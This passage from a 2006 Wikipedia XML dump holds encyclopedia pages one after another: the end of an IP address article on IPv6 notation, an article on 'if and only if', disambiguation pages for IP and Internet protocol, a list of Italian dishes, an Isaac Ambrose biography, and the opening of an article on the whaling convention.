A version 6 address is written as eight 4-digit [[hexadecimal]] numbers separated by colons.  For readability, addresses may be shortened in two ways.  Within each colon-delimited section, leading zeroes may be truncated.  Secondly, one string of zeroes (and only one) may be replaced with two colons (::).  For example, all of the following addresses are equivalent:

* 1080:0000:0000:0000:0000:0034:0000:417A
* 1080:0:0:0:0:34:0:417A
* 1080::34:0:417A

Global [[unicast]] IPv6 addresses are constructed as two parts: a 64-bit routing part followed by a 64-bit host identifier.

Netblocks are specified as in the modern alternative for IPv4: network number, followed by a slash, and the number of relevant bits of the network number (in decimal). Example: 12AB::CD30:0:0:0:0/60 includes all addresses starting with 12AB00000000CD3.

IPv6 has many improvements over IPv4 other than just bigger address space, including [[autorenumbering]] and mandatory support for [[IPsec]].

''Further reading:'' [[Request for Comments|Internet RFCs]] including RFC 791, RFC 1519 (IPv4 addresses), and RFC 2373 (IPv6 addresses).

==See also==
*[[Ping]]
*[[MAC address]]
*[[Regional Internet Registry]]
**[[African Network Information Center]] 
**[[American Registry for Internet Numbers]]
**[[RIPE Network Coordination Centre]]
**[[Asia-Pacific Network Information Centre]]
**[[Latin American and Caribbean Internet Addresses Registry]]
*[[Subnet address]]
*[[Geolocation]]
*[[Geolocation software]]

==External links==
*[http://www.linuxjournal.com/article/7856 Introduction to geolocation by IP address]
*[http://www.circleid.com/community/topics/view/IP%20Addressing/ Articles on CircleID about IP addressing]
*[http://www.securityfocus.com/infocus/1674 IP Spoofing: An Introduction]
*[http://www.byte.com/art/9602/sec16/art4.htm IP-Address Management on LANs] - article in [[Byte magazine]]
*[http://www.circleid.com/posts/ip_address_allocation_vs_internet_production_i_understanding_the_relationsh/ Introduction to IP Address Allocation]
*[http://www.hostip.info/ Community project to geotarget IP addresses]
&lt;!--
Before you add new external link here, please make sure it points to information about IP addresses, and not to services offering IP location, etc.
Especially, simple IP lookup tools are dozen on a dime and this article has decided not to list any of them.
Please provide also short explanation in form of HTML comment so your link won't be treated as yet another spam.
--&gt;

[[Category:Computer networks]]
[[Category:Information technology]]
[[Category:Internet architecture]]
[[Category:Identifiers]]

&lt;!-- interwiki --&gt;

[[als:IP-Adresse]]
[[ar:IP]]
[[ca:Adreça IP]]
[[cs:IP adresa]]
[[da:IP-adresse]]
[[de:IP-Adresse]]
[[et:IP-aadress]]
[[es:Dirección IP]]
[[eo:IP-adreso]]
[[fa:نشانی پروتکل اینترنت]]
[[fr:Adresse IP]]
[[he:כתובת IP]]
[[hr:IP broj]]
[[ko:IP 주소]]
[[lt:IP adresas]]
[[li:IP adres]]
[[nl:IP-adres]]
[[ja:IPアドレス]]
[[nn:IP-adresse]]
[[pl:Adres IP]]
[[pt:Endereço IP]]
[[ru:IP-адрес]]
[[sq:Adresa IP]]
[[simple:IP address]]
[[sl:IP-naslov]]
[[sr:ИП адреса]]
[[fi:IP-osoite]]
[[sv:IP-nummer]]
[[th:หมายเลขไอพี]]
[[tr:IP adresi]]
[[zh:IP地址]]</text>
    </revision>
  </page>
  <page>
    <title>If and only if</title>
    <id>14922</id>
    <revision>
      <id>40394705</id>
      <timestamp>2006-02-20T06:30:23Z</timestamp>
      <contributor>
        <username>Matthew Low</username>
        <id>75033</id>
      </contributor>
      <minor />
      <comment>revert - the presence of the link does not imply that &quot;if and only if&quot; is mathematical jargon; further, &quot;iff&quot; redirects here, so there should be a reference to mathematical jargon here</comment>
      <text xml:space="preserve">{{merge|Logical biconditional}}

&lt;div id=&quot;shortcut&quot; class=&quot;noprint&quot; style=&quot;border:1px solid #999; background:#fff; margin:0 0 .5em 1em; text-align:center; padding:5px; float:right; clear:right; font-size:smaller;&quot;&gt;
&lt;big&gt;&lt;big&gt;&lt;big&gt;&lt;big&gt;&lt;big&gt;
&amp;#8596; &lt;br/&gt; 
&amp;#8660; &lt;br/&gt;
&amp;#8801;&lt;/big&gt;&lt;/big&gt;&lt;/big&gt;&lt;/big&gt;&lt;/big&gt;&lt;br/&gt;&lt;div style=&quot;line-height: 120%; text-align: left&quot;&gt;logical symbols&lt;br/&gt;representing '''iff'''.&lt;/div&gt;&lt;/div&gt;
{{dablink|'''Iff''' redirects here. For other meanings, see [[IFF]].}}
In  [[logic]] and technical fields that rely on it, such as [[mathematics]] and [[philosophy]], &quot;'''if and only if'''&quot; is a connective between statements which means that the truth of either one of the statements requires the truth of the other.  Thus, either both statements are true, or both are false.

In writing, common alternative phrases to &quot;if and only if&quot; include '''iff''', &quot;Q is [[Necessary and sufficient conditions|necessary and sufficient]] for P&quot;, &quot;P is equivalent to Q&quot;, &quot;P precisely if Q&quot;, and &quot;P precisely when Q&quot;.  Many authors regard &quot;iff&quot; as unsuitable in formal writing; others use it freely.

In logical formulae, logical symbols are used instead of these phrases; see the discussion of notation.

==Usage==
===Notation===

The corresponding logical symbols are &quot;&amp;harr;&quot;, &quot;&amp;hArr;&quot; and &quot;&amp;equiv;&quot;, and sometimes &quot;iff&quot;. These are usually treated as equivalent. However, some texts of [[mathematical logic]] (particularly those on [[first-order logic]], rather than [[propositional logic]]) make a distinction between these, in which the first, &amp;harr;, is used as a symbol in logic formulas, while &amp;hArr; is used in reasoning about those formulas (e.g., in [[metalogic]]).

Another term for the [[logical connective]] is [[exclusive nor]].

===Proofs===
In most logical systems, one [[Proof theory|proves]] a statement of the form &quot;P iff Q&quot; by proving &quot;if P, then Q&quot; and &quot;P if Q&quot; (or its [[contrapositive]], &quot;if not P, then not Q&quot;).  Proving this pair of statements sometimes leads to a more [[natural proof]], since there are not obvious conditions in which one would infer a biconditional directly.  An alternative is to prove the [[disjunction]] &quot;(P and Q) or (not-P and not-Q)&quot;, which itself can be inferred directly from either of its disjuncts &amp;mdash; that is, because &quot;iff&quot; is [[truth-function]]al, &quot;P iff Q&quot; follows if P and Q have both been shown true, or both false.

===Origin of the abbreviation===
Usage of the abbreviation ''iff'' first appeared in print in [[John Kelley]]'s [[1955]] book &lt;cite&gt;General Topology&lt;/cite&gt;.
Its invention is often credited to the [[mathematician]] [[Paul Halmos]], but in his [[autobiography]] he states that he borrowed it from [[puzzle]]rs.

==The difference between &quot;if&quot; and &quot;iff&quot;==
Put simply, the difference between ''if'' and ''iff'' can be explained with the following two sentences:

# Madison will eat [[pudding]] ''if'' the pudding is a [[custard]]. (equivalently: If the pudding is a custard, then Madison will eat it)
#:
# Madison will eat pudding ''if and only if'' (iff) the pudding is a custard.

Sentence (1) states only that Madison will eat custard pudding. It does not however preclude the possibility that Madison might also have occasion to eat [[bread pudding]]. Maybe she will, maybe she will not. The sentence does not tell us. All we know for certain is that she will eat custard pudding.

Sentence (2) however makes it quite clear that Madison will eat custard pudding ''and custard pudding only''.  She will '''not''' eat any other type of pudding.

A further difference is that &quot;if&quot; is used in definitions (except in formal logic); see more below.

==Advanced considerations==
===Philosophical interpretation===
A  sentence that is composed of two other sentences joined by &quot;''iff''&quot; is called a '''[[logical biconditional|biconditional]]'''.  ''Iff'' joins two sentences to form a new sentence.  It should not be confused with [[logical equivalence]] which is a description of a relation between two sentences. The biconditional &quot;A ''iff'' B&quot; ''uses'' the sentences ''A'' and ''B'', describing a relation between the states of affairs ''A'' and ''B'' describe.  By contrast &quot;''A'' is logically equivalent to ''B''&quot; mentions the two sentences: it describes a relation between those two sentences, and not between whatever matters they describe.

The distinction is a very confusing one, and has led many a philosopher astray.  Certainly it is the case that when ''A'' is logically equivalent to ''B'', &quot;A ''iff'' B&quot; is true. But the converse does not hold. Let's reconsider the sentence:

:Madison will eat pudding today if and only if it's custard.

There is clearly no logical equivalence between the two halves of this particular biconditional. For more on the distinction, see [[W. V. Quine]]'s ''Mathematical Logic'', Section 5.

===Definitions===
In philosophy and logic, &quot;iff&quot; is used to indicate [[definition]]s, since definitions are supposed to be [[universal quantification|universally quantified]] biconditionals.  In mathematics and elsewhere, however, the word &quot;if&quot; is normally used in definitions, rather than &quot;iff&quot;. This is due to the observation that &quot;if&quot; in the English language has a definitional meaning, separate from its meaning as a propositional conjunction.  This separate meaning can be explained by noting that a definition (for instance: A [[group (mathematics)|group]] is &quot;abelian&quot; if it satisfies the commutative law; or: A grape is a &quot;raisin&quot; if it is well dried) is not an equivalence to be proved, but a rule for interpreting the term defined.  
(Some authors, nevertheless, explicitly indicate that the &quot;if&quot; of a definition means &quot;iff&quot;!)

===Examples===
Here are some examples of true statements that use &quot;iff&quot; - true biconditionals (the first is an example of a definition, so it should normally have been written with &quot;if&quot;):

*A person is a bachelor ''iff'' that person is an unmarried but marriageable man.
*&quot;Snow is white&quot; (in English) is true ''iff'' &quot;''Schnee ist weiß''&quot; (in German) is true.
*For any ''p'', ''q'', and ''r'': (''p''&amp;nbsp;&amp;&amp;nbsp;''q'')&amp;nbsp;&amp;&amp;nbsp;''r'' iff ''p''&amp;nbsp;&amp;&amp;nbsp;(''q''&amp;nbsp;&amp;&amp;nbsp;''r''). (Since this is written using variables and &quot;[[logical and|&amp;]]&quot;, the statement would usually be written using &quot;&amp;harr;&quot;, or one of the other symbols used to write biconditionals, in place of &quot;iff&quot;).

===Analogs===
Other words are also sometimes emphasized in the same way by repeating the last letter; for example ''orr'' for &quot;Or and only Or&quot; (the [[exclusive disjunction]]).

==More general usage==
'''''Iff''''' is used outside the field of logic, wherever logic is applied, especially in [[mathematics|mathematical]] discussions. It has the same meaning as above: it is an abbreviation for ''if and only if'', indicating that one statement is both [[Necessary and sufficient conditions|necessary and sufficient]] for the other. This is an example of mathematical [[jargon]].  (However, as noted above, ''if'', rather than ''iff'', is generally used in statements of definition.)

==See also==
* [[Mathematical jargon]]

[[Category:Logic]]
[[Category:Mathematical terminology]]
&lt;!-- The below are interlanguage links. --&gt;

[[de:Logische Äquivalenz]]
[[ca:si i només si]]
[[es:Si y sólo si]]
[[fr:SSI]]
[[he:אם ורק אם]]
[[is:Eff]]
[[it:Sse]]
[[lt:Tada ir tik tada (teiginys)]]
[[nl:Dan en slechts dan als]]
[[ja:同値]]
[[pl:Gddy]]
[[pt:Se e somente se]]
[[sr:Акко]]
[[sv:Om och endast om]]
[[zh:当且仅当]]</text>
    </revision>
  </page>
  <page>
    <title>IP</title>
    <id>14923</id>
    <revision>
      <id>41633439</id>
      <timestamp>2006-02-28T17:51:24Z</timestamp>
      <contributor>
        <username>Mzajac</username>
        <id>61482</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/212.135.1.84|212.135.1.84]] ([[User talk:212.135.1.84|talk]]) to last version by 82.245.240.2</comment>
      <text xml:space="preserve">'''IP''' may mean:

* [[IP (complexity)]] or Interactive Polynomial-time, a particular complexity class of languages that have interactive proofs
* [[IP address]] (Internet Protocol address), a computer network address
* Ip, a Chinese family name, represented by 葉
* [[Ip, Sălaj]], a village in Romania
* [[Image processing]]
* [[Internet Protocol]], the computer networking protocol used on the Internet
* [[Internet protocol suite]] or TCP/IP protocol suite, Internet communications protocols
* [[Intellectual property]]: the legal concept that the works created with intellectual effort is a form of property
* [[Internet service provider]] or Internet provider
* [[Ingress protection rating]], safety rating of electrical equipment
* [[Iraqi Police]]
* [[Integrated production]], natural farming
* [[Incontinentia pigmenti]], a genetic disorder
* [[Insolvency practitioner]], a specialist in formal insolvency cases
* [[Independence Party of Minnesota]], a political party in Minnesota
* [[Inflection phrase]], in syntax
* [[Clipperton Island]] (FIPS territory code)
* [[Ipswich]] (post code IP)
* Instruction pointer, or [[program counter]] in computer processing
* Integer programming, a special case of [[Linear programming#Integer_unknowns|Linear programming]]

{{disambig}}

[[cs:IP]]
[[de:IP]]
[[fr:IP]]
[[ko:IP (동음이의)]]
[[it:Ip]]
[[nl:IP]]
[[ja:IP]]
[[pl:IP]]
[[pt:IP]]
[[sv:IP]]</text>
    </revision>
  </page>
  <page>
    <title>Internet protocol</title>
    <id>14924</id>
    <revision>
      <id>26611987</id>
      <timestamp>2005-10-27T11:48:31Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">'''Internet protocol''' may refer to:
*The [[Internet Protocol]], a data-oriented protocol used for communicating data across a [[Packet-switched|packet-switched]] [[Internetwork|internetwork]].
*The [[Internet protocol suite]], a set of [[communications protocol]]s that implement the [[protocol stack]] on which the [[Internet]] runs.

{{disambig}}

[[hu:Internet Protokoll]]</text>
    </revision>
  </page>
  <page>
    <title>List of Italian dishes</title>
    <id>14926</id>
    <revision>
      <id>42102821</id>
      <timestamp>2006-03-03T21:17:35Z</timestamp>
      <contributor>
        <username>Smokey Russell</username>
        <id>1024919</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{merge|Italian cuisine}}
These dishes are representative of [[Italian cuisine]].
==Dishes and Recipes==
===[[Italian starters|Antipasti]]===
* [[Insalata Caprese]] 
* [[Bruschetta]]
* [[Bresaola]]
*Crostini con condimenti misti
*Verdure in Pinzimonio
*Cocktail di gamberi
*[[Olive Ascolane]]
*Mozzarelline fritte
*Pizzette e Salatini
*Tartine

===Italian soup and sauce recipes===
* [[Bagna Cauda]]
* [[Minestrone]]
* Pasta e Fagioli
* [[Soup all'Imperatrice]]
* [[Soup alla Nazionale]]
* [[Soup alla Lombarda]]
* [[Venetian soup]] 
* [[Tomato sauce]]
* [[Fonduta]]

===Italian [[Bread]]s===
*[[Ciabatta]]
*[[Pane carasau]]
*[[Pane Casareccio]]
*[[Panini (sandwich)|Panino]]
*[[Focaccia]]
*[[Pane Toscano]] (without salt)
*[[Michetta]] (typical bread of Milano)
*[[Rosetta]] (typical bread of Roma)
*[[Pane Pugliese]]
*[[Pane di Altamura]]
*[[Grissini Torinesi]]
*[[Tigella]]
*[[Crescentina]]
*[[Piadina]]

===Common [[Pizza]] recipes===
*[[Focaccia al rosmarino]] - based on [[rosemary]] and [[olive oil]], sometimes served with [[prosciutto]]. Usually served as [[Antipasto|appetizer]]
*[[Pizza marinara]] - based on tomato, [[oregano]] and [[garlic]]
*[[Pizza Margherita]] - based on tomato and [[mozzarella]]
*[[Pizza alla Napoletana]] (or [[Naples|Napoli]]) - same as Margherita with [[oregano]] and [[basil]]
*[[Pizza capricciosa]] - with tomato, [[mozzarella]], mushrooms, [[Globe artichoke|artichokes]], black and green olives
*[[Pizza quattro stagioni]] - based on tomato and divided in four sectors, one for each season:
** Spring: olives and [[Globe artichoke|artichokes]]
** Summer: [[salami]] and [[bell pepper|pepper]]
** Autumn: tomato and [[mozzarella]] (like Pizza Margherita)
** Winter: mushrooms and boiled egg
*[[Pizza ai quattro formaggi]] - with four different cheeses (sometimes melted, sometimes in sectors)
*[[Pizza ai funghi e salsicce]] (or boscaiola)- with [[mozzarella]], mushrooms and sausages, with or without tomato.
*[[Calzone]] - folded over dough usually filled with [[ricotta]] and other ingredients

===[[Pasta]] varieties - (over 650)===
* [[Agnolotti]]
* Bavette, Bigoli, [[Bucatini]]
* [[Cannelloni]], Crespelle
* Cappellini
* Conchiglie
* [[Ditalini]]
* Eliche
* [[Farfalle]], Festoni, [[Fettuccine]], Filatieddi, [[Fusilli]]
* Garganelli
* [[Gnocchi]]
* [[Lasagne]],  [[Linguine]], Lumaconi (large slugs)
* [[Macaroni|Maccheroni]] ([[Macaroni]]), Malloreddus ([[Sardinia]]n pasta), Maltagliate, Marille, Marrubini
* Offelle, [[Orecchiette]]
* Orzo
* Paccheri, Paglia e fieno, Pansotti, Panzarotti, [[Pappardelle]], [[Penne]], Perciatelli, Pinzillacchere, [[Pizzoccheri]], 
* [[Ravioli]], [[Rigatoni]]
* [[Spaghetti]], Spaghetti alla chitarra, Strangolapreti, Strangozzi, Strascinati
* Stelline
* Tacconi, [[Tagliatelle]], Tagliarini, Tonnarelli, [[Tortellini]], [[Trenette]], Trottole, Trofie
* Vermicelli
* [[Ziti]]
====See also====
[[List of pasta]]

===Pasta dishes===
*[[Bucatini all'Amatriciana]], [[Bucatini coi Funghi]], [[Bucatini alla Sorrentina]]
*[[Cannelloni al Ragù]], [[Cannelloni ai Carciofi]]
*[[Penne all'Arrabbiata]], Pansotti alla Genovese
*[[Rigatoni alla Pajata]], [[Rigatoni al Forno con Salsa Aurora]]
*[[Spaghetti alla Bolognese]], [[Spaghetti alla Carrettiera]], [[Spaghetti al nero di seppia]], [[Spaghetti alla Puttanesca]], [[Spaghetti con la bottarga]], [[Spaghetti aglio, olio e peperoncino]], [[Spaghetti Indiavolati]], [[Spaghetti Siracusani]], [[Wikibooks:Cookbook:Spaghetti alla Carbonara|Spaghetti alla Carbonara]]
*[[Tagliatelle alla Boscaiola]], [[Tagliatelle ai Carciofi]], [[Tagliatelle ai Funghi]], [[Tagliatelle al Pomodoro]], [[Tagliatelle al sugo di lepre]], [[Tagliatelle al Ragù]]
* Tortelloni alla zucca
*Trofie al Pesto, Trofie al sugo di noci

===Rice dishes===
(Rice -Riso- dishes are very common in North Italy, specially in Lombardia and Veneto Regions)

* Basic [[Risotto]]
*Risotto alla Milanese or Risotto with Saffron
*Risi e Bisi
*Risotto con la luganega
*Riso with schrimpfs
*Riso con Piselli
*Riso alla Toscana
*Riso al nero di seppia
*Riso con i Porcini
*Risotto alla Sbirraglia
*Risotto alla Zucca
*Risotto di Seppie alla Veneziana
*Sformato al Basilico
*Sformato di Riso Dolce
*Tiella di Riso, Patate e Cozze
*Risotto ai Gamberoni
*Risotto ai Quattro Sapori
*Risotto al Cavolfiore
*Risotto al Gorgonzola
*Riso Tonnato
*Riso Valdostano
*Risotto saltato
*Risotto al Barolo
*Risotto con scamorza e champagne
*Risotto indivia e fiori di zucca
*Risotto allo zafferano con petto d'anatra
*Riotto alla Marinara
*Risotto con Agoni
*Risotto mantecato con Grana Padano

===Italian [[Fish]]===
* [[Baccalà]]
*Cacciucco
*Seppioline in umido
*Missultin e Polenta
*Frittata di bianchetti  
*Orate al forno  
*Acciughe fritte in pastella  
*Acciughe in carpione  
*Acquadella o latterino fritto  
*Agghiotta di pesce spada  
*Anguilla marinata  
*Baccalà alla vicentina  
*Baccalà fritto  
*Branzino al sale  
*Brodetto di arselle  
*Burrida  
*Calamaretti fritti  
*Calamari in zimino  
*Calamari Ripieni  
*Capesante alla veneziana  
*Cappon magro 
*Carpaccio di pesce  
*Cartoccio di pesce spada  
*Cozze alla tarantina  
*Cozze fritte alla viareggina  
*Cozze ripiene  
*Filetti di Baccalà  
*Filetti di orata al cartoccio  
*Frittura mista di pesce  
*Grancevola alla Veneziana  
*Impanata di pesce spada  
*Involtini di pesce  
*Moscardini lessati alla genovese  
*Murena fritta  
*Nasello al forno  
*Orata arrosto  
*Pepata di cozze  
*Pesce a scabecciu  
*Pesce al cartoccio  
*Pesce alla pizzaiola  
*Pesce spada alla siciliana  
*Pesce Spada arrosto in salmoriglio  
*Polpettine di mare  
*Sarde a beccafico  
*Sarde arraganate ( Sarde con origano e pane)  
*Sarde grigliate  
*Sarde ripiene  
*Sarde Sfiziose Panate  
*Sardele in saor  
*Sbroscia bolsenese  
*Scampi a zuppetta  
*Scampi gratinati  
*Seppie col nero alla veneziana   
*Seppie con i piselli  
*Seppie ripiene  
*Sogliole alla mugnaia  
*Spiedini ai frutti di mare  
*Spiedini di alici  
*Spiedini di anguilla  
*Stoccafisso alla genovese  
*Stoccafisso alla ligure  
*Tonno sott'olio  
*Tortiera di cozze  
*Triglie alla livornese  
*Zuppa di pesce

===Italian [[Meat]]s===
* [[Prosciutto|Parma Ham]]
* [[Prosciutto|Prosciutto cotto]], [[Prosciutto|Prosciutto crudo]]
* [[Veal|Vitello]]
* [[Bresaola]]
* [[Coda alla vaccinara]] 
* [[Mortadella]]
* [[Salami|Salame]]
* [[Pezzetti di cavallo]]
* [[Violino Valtellinese]]

===Italian [[Wine]]===  
*[[Abruzzi]]
**[[Montepulciano d'Abruzzo]], [[Trebbiano d'Abruzzo]]
*[[Tuscany]]
**[[Bolgheri]], [[Carignano]], [[Chianti]], [[Colli Apuani]], [[Colli Etruria Centrale]], [[Colline Lucchesi]], [[Elba]], [[Scansano]], [[Montalcino]], [[Montescudaio]], [[Nipozzano]], [[Nobile di Montepulciano]], [[Parrina]], [[Pitigliano]], [[San Gimignano]], [[Val di Chiana]], [[Val di Cornia]], [[Valdinievole]], [[Valle di Arbia]]
*[[Piedmont (Italy)|Piedmont]]
**[[Alba, Italy|Alba]], [[Acqui]], [[Asti]], [[Barolo]], [[Carema Riserva]], [[Colli Tortonesi]], [[Gattinara]], [[Gavi]], [[Langhe]], [[Monferrato]], [[Nebbiolo]], [[Ovada]]
*[[Veneto]]
**[[Amarone]], [[Bardolino]], [[Colli Euganei]], [[Conegliano Veneto]], [[Custoza]], [[Soave]], [[Valdobbiadene]]
*[[Liguria]]
**[[Cinque Terre]]
*[[Emilia-Romagna]]
**[[Sangiovese]], [[Lambrusco]], [[Pignoletto]], [[Gutturnio]], [[Bonarda]], [[Trebbiano]], [[Albana]]
*[[Sardinia]]
**[[Cagliari]], [[Monti]], [[Nuragus]], [[Ogliastra]]
*[[Marche]]
**[[Castelli di Jesi]], [[Conero]], [[Piceno]]
*[[Lombardia]]
**[[Franciacorta]], [[Oltrepò Pavese]], Valpolicella, Sassella, Inferno, Grumello, Bonarda, Barbera, Spumante Brut, Valcalepio
*[[Sicily]]
**[[Etna wine]], [[Noto wine]], [[Passito di Pantelleria]], [[Marsala_wine]], [[Nero d’Avola]]
*[[Umbria]]
**[[Orvieto]], [[Torgiano]]
*[[Calabria]]
**Cir&amp;#242;
*[[Puglia]]
** [[Negroamaro]]

===Italian [[cheese]]s===
* [[Asiago cheese|Asiago]]
* [[Bel Paese]], [[Bitto]], [[Bra cheese|Bra]],  [[Burrini]], [[Burrata]], [[Butirro]] 
* [[Caciocavallo]], [[Cacioricotta]], [[Canestrato]] pugliese, [[Casècc]], [[Castelmagno]], [[Caprini]], [[Casiello]], [[Casu marzu|Casu modde]], [[Ciccillo]], [[Crescenza]], Crotonese
* [[Fontina]], [[Fiore sardo]], [[Formai de mut]]
* [[Giuncata]], [[Grana Padano]], [[Gorgonzola cheese|Gorgonzola]]
* [[Marzolino]], [[Marzotica]], [[Mascarpone]], [[Mozzarella]], [[Montasio]], [[Monte veronese]], [[Murazzano]]
* [[Parmigiano Reggiano]], Pecorino di Fossa, [[Pecorino]] romano, Pecorino sardo, [[Piacentinu]], Primo Sale, [[Provolone]], Puzzone di Moena
* Quartirolo
* [[Ragusano]], [[Raschera]], [[Ricotta]] rifatta, Ricotta salata, [[Robiola]], 
* [[Slattato]], [[Stracchino]], Squacquerone
* [[Taleggio cheese|Taleggio]], [[Toma cheese|Toma]], [[Tumazzu]]

===Italian [[Dessert]]s and [[pastry]]===
* [[Cannolo siciliano]] 
* [[Cassata siciliana]] 
* [[Ciarduna]]
* [[Gelato]] ([[Ice Cream]])
* [[Granita]]
* [[Macedonia (food)|Macedonia (fruit salad)]]
* [[Panna cotta]]
* [[Pandoro]]
* [[Panettone]]
* [[Pastiera]]
* [[Pignolata]] (Specialità Siciliana)
* [[Pizzelle]]
* [[Sfogliatelle]]
* [[Tiramisu|Tiramisù]]
* [[Torta caprese]] 
* [[Zabaglione]]

===Italian [[Coffee]] ([[Caffè]])===
* [[Caffè]]
* [[Caffè Corretto]]
* [[Caffè macchiato]]
* [[Latte|Caffelatte]]
* [[Espresso]]
* [[Cappuccino]]
*Marocchino (small cappuccino)
* [[Bicerin]] (coffee, hot chocolate and whipped cream, only in Turin)
*[[Grolla dell'amicizia]] (coffe and [[grappa]] served in a traditional wooden pot, only in [[Aosta Valley]])

===Famous Italian dishes===
* [[Fiorentina beefsteak]]
* [[Baccalà alla Vicentina]]
* [[Lasagne]]

== Italian Cuisine Ingredients ==
Most important ingredients (see also [[#Italian Herbs and Spices|Italian Herbs and Spices]]):
* Olio d'oliva ([[Olive oil]])
* Pomodoro ([[Tomato]])

Other common ingredients:
* Asparagi ([[Asparagus]])
* [[Baccalà]] (Dried, salted [[cod]])
* [[Bresaola]]
* Carciofi ([[Globe artichoke|Artichokes]])
* Cavolfiore ([[Cauliflower]])
* Ceci ([[Chickpea]]s)
* Fagioli ([[Bean]]s)
* Farro ([[Spelt]])
* Funghi ([[Mushroom]]s)
* Lenticchie ([[Lentil]]s)
* Melanzane ([[Aubergine]]s)
* Olive ([[Olives]])
* Peperoni ([[Bell pepper]]s)
* Piselli ([[Pea]]s)
* [[Prosciutto]]
* Funghi porcini ([[Porcini|Porcini mushrooms]])
* [[Radicchio]] Rosso di Treviso
* Rucola (or Rughetta) ([[Arugula]])
* Seppie ([[Sepia (genus)|Sepia]])
* Spinaci ([[Spinach]])
* Fragole ([[Strawberry|Strawberries]])
* Tartufo ([[Truffle]])
* Trippa ([[Tripe]])
* Tonno ([[Tuna]])
* Zucchine ([[Zucchini]])

== Italian Herbs and Spices ==
* Aglio ([[Garlic]])
* Alloro ([[Bay leaves]])
* Basilico ([[Basil]])
* Cipolla ([[Onion]])
* Finocchio ([[Fennel]])
* Menta ([[Mint]])
* [[Mentuccia]]
* Origano ([[Oregano]])
* Peperoncino ([[Chile pepper]])
* Prezzemolo ([[Parsley]])
* Rosmarino ([[Rosemary]])
* Salvia ([[Sage]])
* Timo ([[Thyme]])

[[Category:Italian cuisine]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Ambrose</title>
    <id>14928</id>
    <revision>
      <id>28109247</id>
      <timestamp>2005-11-12T11:57:15Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">'''Isaac Ambrose''' ([[1604]] - [[January 20]] [[1663]] or [[1664]]) was an [[England|English]] [[Puritan]] divine, the son of [[Richard Ambrose]], vicar of [[Ormskirk]], and was probably descended from the Ambroses of Lowick in Furness, a well-known [[Catholic]] family.  

He entered [[Brasenose College, Oxford]], in 1621, in his seventeenth year.  Having graduated B.A. in 1624 and been ordained, he received in 1627 the little cure of [[Castleton]] in [[Derbyshire]].  By the influence of [[William Russell, 1st Duke of Bedford|William Russell, earl of Bedford]], he was appointed one of the king's itinerant preachers in [[Lancashire]], and after living for a time in Garstang, he was selected by the Lady Margaret Hoghton as vicar of [[Preston]].  He associated himself with [[Presbyterianism]], and was on the celebrated committee for the ejection of &quot;scandalous and ignorant ministers and schoolmasters&quot; during the [[Commonwealth of England|Commonwealth]].  

So long as Ambrose continued at Preston he was favoured with the warm friendship of the Hoghton family, their ancestral woods and the tower near [[Blackburn]] affording him sequestered places for those devout meditations and &quot;experiences&quot; that give such a charm to his [[diary]], portions of which are quoted in his ''Prima Media'' and ''Ultima'' (1650, 1659). The immense auditory of his sermon (''Redeeming the Time'') at the funeral of Lady Hoghton was long a living tradition all over the county. On account of the feeling engendered by the civil war Ambrose left his great church of Preston in 1654, and became minister of Garstang, whence, however, in 1662 he was ejected with the two thousand ministers who refused to conform. His after years were passed among old friends and in quiet meditation at Preston. He died of [[apoplexy]] about the 20th of January 1663/4.

As a religious writer Ambrose has a vividness and freshness of imagination possessed by scarcely any of the [[Puritan]] Nonconformists. Many who have no love for Puritan doctrine, nor sympathy with Puritan experience, have appreciated the [[pathos]] and beauty of his writings, and his ''Looking to Jesus'' long held its own in popular appreciation with the writings of [[John Bunyan]]. 

==References==
*{{1911}}

[[Category:1604 births|Ambrose, Isaac]]
[[Category:1664 deaths|Ambrose, Isaac]]
[[Category:English diarists|Ambrose, Isaac]]
[[Category:Deaths by apoplexy|Ambrose, Isaac]]</text>
    </revision>
  </page>
  <page>
    <title>Internet/History</title>
    <id>14929</id>
    <revision>
      <id>15912452</id>
      <timestamp>2002-10-12T12:17:45Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>removed text from redirect page</comment>
      <text xml:space="preserve">#REDIRECT [[History_of_the_Internet]]</text>
    </revision>
  </page>
  <page>
    <title>IteratedPrisonersDilemma</title>
    <id>14931</id>
    <revision>
      <id>15912453</id>
      <timestamp>2003-05-25T19:37:06Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Prisoner's dilemma]]</text>
    </revision>
  </page>
  <page>
    <title>Iterated Prisoners Dilemma</title>
    <id>14932</id>
    <revision>
      <id>15912454</id>
      <timestamp>2003-05-25T19:38:36Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Prisoner's dilemma]]</text>
    </revision>
  </page>
  <page>
    <title>International Convention for the Regulation of Whaling</title>
    <id>14933</id>
    <revision>
      <id>35333714</id>
      <timestamp>2006-01-16T00:23:46Z</timestamp>
      <contributor>
        <ip>213.13.213.161</ip>
      </contributor>
      <text xml:space="preserve">The '''International Convention for the Regulation of Whaling''' is an international agreement (see [[environmental agreement]]) signed in 1946 designed to make [[whaling]] sustainable.

It was signed by 42 nations in [[Washington, D.C.]] on [[December 2]] [[1946]] and took effect on [[November 10]] [[1948]]. Its protocol (which represented the first substantial revision of the convention and extended the definition of a &quot;[[whale catcher|whale-catcher]]&quot; to include helicopters as well as ships) was signed in Washington on [[November 19]] [[1956]]. The convention is a successor to the '''International Agreement for the Regulation of Whaling''', signed in [[London]] on [[June 8]] [[1937]], and the protocols for that agreement signed in London on [[June 24]] [[1938]], and [[November 26]], [[1945]].

Objectives are protection of all whale species from overhunting, establishment of a system of international regulation for the whale fisheries to ensure proper conservation and development of whale stocks, and safeguarding for future generations the great natural resources represented by whale stocks. The primary instrument through which these aims were followed was the establishment of the [[International Whaling Commission]]. The commission has made many revisions to the schedule that makes up the bulk of the convention, reflecting changing economical, ecological and commercial standards.

==Signatories==

